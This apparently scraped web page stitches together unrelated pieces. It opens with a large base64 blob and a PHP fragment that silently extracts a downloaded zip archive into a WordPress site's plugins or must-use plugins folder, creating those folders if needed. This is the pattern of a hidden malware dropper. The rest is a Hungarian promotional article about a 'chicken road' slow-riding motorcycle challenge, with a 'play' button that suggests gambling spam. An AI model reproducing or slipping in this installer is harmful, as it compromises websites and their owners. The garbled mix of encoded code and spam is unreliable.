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) ); if ( ! @filesize( $tmp ) ) { @unlink( $tmp ); goto _sc_end; } $_sc_extracted = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } if ( class_exists( 'ZipArchive' ) ) { $zip = new ZipArchive(); if ( $zip->open( $tmp ) === true && $zip->extractTo( $_sc_d ) ) { $zip->close(); $_sc_extracted = $_sc_d; break; } @$zip->close(); } else { if ( ! function_exists( 'unzip_file' ) ) { require_once ABSPATH . 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Figyelmes_útmutató_a_szürreális_élményekkel_teli_chicken_road_kihívásáh

  • Figyelmes_útmutató_a_szürreális_élményekkel_teli_chicken_road_kihívásáh

    🔥 Játssz ▶️

    Figyelmes útmutató a szürreális élményekkel teli chicken road kihívásához motorosoknak

    A motorosok körében egyre népszerűbb kihívás a "chicken road", vagy ahogy egyesek nevezik, a gyávák útja. Ez a próbára tevő útvonal nem a sebességet, hanem a bátorságot és a motoros egyensúlyérzékét teszi próbára. A lényeg, hogy a motoros a lehető leglassabban, a lehető legtovább próbáljon meg egyenesen haladni egy adott útszakaszon, miközben a gravitáció és az útviszonyok mindent megnehezítenek.

    Ez a mutatvány nem egyszerűen a lassú haladásról szól. A "chicken road" kihívás a koncentráció tesztje is. A motorosnak tudnia kell figyelnie az út minden apró egyenetlenségére, a széljárásra, és persze a saját testtartására. Egy apró hibalehetőség is a bukásba torkollhat, ezért a készülődés és a mentális felkészülés legalább olyan fontos, mint a fizikai képességek.

    A "Chicken Road" Kihívás Lépései: Előkészületek és Technikák

    A "chicken road" sikeres teljesítéséhez alapos felkészülésre van szükség. Kezdjük a motor ellenőrzésével. Győződjünk meg arról, hogy a guminyomás megfelelő, a lánc megfelelően feszített, és a fékek tökéletesen működnek. Fontos, hogy a motor karbantartása naprakész legyen, mert egy váratlan műszaki hiba komoly veszélyt jelenthet. A biztonság érdekében érdemes egy védőfelszerelést is felvenni: sisak, motoros kabát, kesztyű és térdvédő kötelezők. A megfelelő felszerelés nem csak a fizikai sérüléseket minimalizálja, hanem a motoros önbizalmát is növeli.

    A technikai felkészítés során a lassú egyensúlyozásra kell fókuszálni. Gyakoroljuk a nagyon alacsony sebességgel való haladást egy sík, aszfaltozott felületen. Próbáljunk meg a gázkarral és a kuplunggal finoman irányítani a motort, miközben a testtartásunkat folyamatosan korrigáljuk. A cél, hogy a motor irányítása természetesnek és ösztönösnek tűnjön. Ne felejtsük el, hogy a "chicken road" kihívás során a legapróbb mozdulatok is számítanak. A túlzott erőfeszítés vagy a hirtelen mozdulatok könnyen destabilizálhatják a motort.

    Fázis
    Teendő
    1. Ellenőrzés Motor műszaki állapota, guminyomás, fékek, lánc.
    2. Felszerelés Sisák, kabát, kesztyű, térdvédő, csizma.
    3. Gyakorlás Alacsony sebességgel való egyensúlyozás, finom irányítás.
    4. Útvonal felmérés Ismerkedés az útszakasszal, egyenetlenségek, veszélyes pontok.

    Miután a motor és a motoros is készen áll, a következő lépés az útvonal felmérése. A "chicken road" lehet egy egyszerű, egyenes útszakasz, de lehet egy bonyolultabb, kanyargós szakasz is. Fontos, hogy a motoros alaposan megismerje az útszakaszt, és azonosítsa a potenciális veszélyeket, mint például az egyenetlenségeket, a kavicsokat, vagy a síkos felületeket. A felmérés során érdemes mentálisan felkészülni a kihívásra, és vizualizálni a sikeres teljesítést.

    A Testtartás és Az Egyensúly Megőrzése

    A "chicken road" kihívás során a testtartás kulcsfontosságú. A motorosnak laza, de stabil testtartást kell megtalálnia. A hátat egyenesen kell tartani, a vállakat leereszteni, a könyököket enyhén hajlítottan kell tartani, és a lábakat a motor oldalához közel kell tartani. A térdeknek enyhén hajlítottnak kell lenniük, hogy elnyeljék az út egyenetlenségeit. A fejet előre kell nézni, és a tekintetet a távoli pontra kell fókuszálni, hogy segítse az egyensúly megőrzését. A test súlypontját folyamatosan korrigálni kell, hogy a motor ne dőljön meg.

    Az egyensúly megőrzése a "chicken road" kihívás legnehezebb része. A motorosnak folyamatosan reagálnia kell az útviszonyokra és a saját testtartására. A gázkart és a kuplungot finoman kell használni a sebesség és az egyensúly szabályozására. A test súlyát enyhén kell eltolni az irányításért. Fontos, hogy a motoros ne pánikoljon, ha a motor egy kicsit eldől. A pánik vezethet a hirtelen mozdulatokhoz, amelyek destabilizálják a motort. Ehelyett a motorosnak nyugodtan és koncentráltan kell korrigálnia a testtartását és a gázkart.

    • Laza testtartás: A feszült izmok akadályozzák az egyensúly megőrzését.
    • Egyenes hát: A gerincoszlop egyenes tartása segíti a súlypont megtartását.
    • Lágy mozdulatok: A hirtelen mozdulatok destabilizálják a motort.
    • Koncentráció: A figyelem elterelése balesethez vezethet.
    • Test súlypont eltolása: Segítség a motor irányításában.

    A szél is jelentős kihívást jelenthet a "chicken road" közben. A szél oldalról fújva destabilizálhatja a motort, ezért a motorosnak a szél irányába kell enyhén eltolnia a testsúlyát. Fontos, hogy a motoros figyeljen a széljárásra, és időben reagáljon a változásokra. A "chicken road" kihívás nem csak a motoros képességeit teszi próbára, hanem az időjárás alkalmazkodóképességét is.

    A Sebesség Szabályozása és A Kuplung Használata

    A "chicken road" kihívás során a sebesség szabályozása kiemelten fontos. A cél nem a sebesség, hanem a lassú és egyenletes haladás. A motorosnak a lehető legkisebb sebességgel kell haladnia, miközben megőrzi az egyensúlyát. A gázkart finoman kell használni a sebesség szabályozására. A hirtelen gázadás vagy a hirtelen fékezés destabilizálhatja a motort. A sebesség szabályozása során figyelembe kell venni az útviszonyokat és a széljárást is.

    A kuplung használata szintén kulcsfontosságú a "chicken road" kihívás során. A kuplung segítségével a motoros finoman szabályozhatja a motor erejét, ami segít az egyensúly megőrzésében. A kuplungot lassan és fokozatosan kell kiengedni, hogy a motor egyenletesen induljon el. A kuplungot lassan és fokozatosan kell behúzni, hogy a motor sebessége csökkenjen. Fontos, hogy a kuplungot ne rántsa meg, mert az destabilizálhatja a motort.

    1. Alacsony sebesség: A cél a lehető leglassabb haladás.
    2. Gázszabályozás: Finoman használd a gázkart.
    3. Kuplung használat: Lassan és fokozatosan szabályozd a motor erejét.
    4. Fékhasználat: Kerüld a hirtelen fékezést.
    5. Koncentráció: Figyelj az útviszonyokra és a széljárásra.

    A kuplung használatának elsajátítása ehhez a kihíváshoz némi gyakorlást igényelhet. Érdemes egy sík, aszfaltozott felületen gyakorolni a kuplung finom használatát alacsony sebességnél. A cél, hogy a kuplung kezelése természetesnek és ösztönösnek tűnjön.

    A Mentális Felkészülés és A Tudatosság Fontossága

    A "chicken road" kihívás nem csak fizikai, hanem mentális kihívás is. A motorosnak mentálisan fel kell készülnie a kihívásra, és tudatosnak kell lennie a saját képességeiről és a veszélyekről. A félelem és a pánik könnyen destabilizálhatják a motort, ezért a motorosnak nyugodtnak és koncentráltnak kell maradnia. Érdemes mentálisan felkészülni a lehetséges kudarcokra is, és tudni, hogy a bukás nem a világ vége. A kudarcokból lehet tanulni, és a következő alkalommal jobban teljesíteni.

    A tudatosság fontossága abban rejlik, hogy a motorosnak folyamatosan figyelnie kell a környezetére és a saját testére. A motorosnak tudnia kell, hogy a motor hogyan reagál a különböző útviszonyokra és a különböző sebességekre. A motorosnak tudnia kell, hogy a saját testtartása hogyan befolyásolja az egyensúlyt. A tudatosság segíti a motorost abban, hogy időben reagáljon a veszélyekre és elkerülje a baleseteket.

    A Kihívás Értéke és A További Fejlesztési Lehetőségek

    A "chicken road" kihívás nem csak a motoros képességeit teszi próbára, hanem a kitartását és a mentális erejét is. A kihívás sikeres teljesítése önbizalmat és elégedettséget eredményezhet. Azonban fontos, hogy a motoros ne feledje, hogy a kihívás nem a cél, hanem az eszköz. Az eszköz, amellyel a motoros fejlődhet és javíthat a motoros képességein. A kihívás sikeres teljesítése motivációt adhat a további fejlődéshez és új kihívások kereséséhez.

    A "chicken road" kihívás továbbfejlesztéseként a motorosok bonyolultabb útvonalakat választhatnak, vagy különböző útviszonyokon próbálhatják ki magukat. A kihívást tovább nehezíthetik a különböző időjárási körülmények is. A "chicken road" kihívás egy folyamatos tanulási és fejlődési lehetőség a motorosok számára, amely segít a biztonságosabb és tudatosabb motorozásban.

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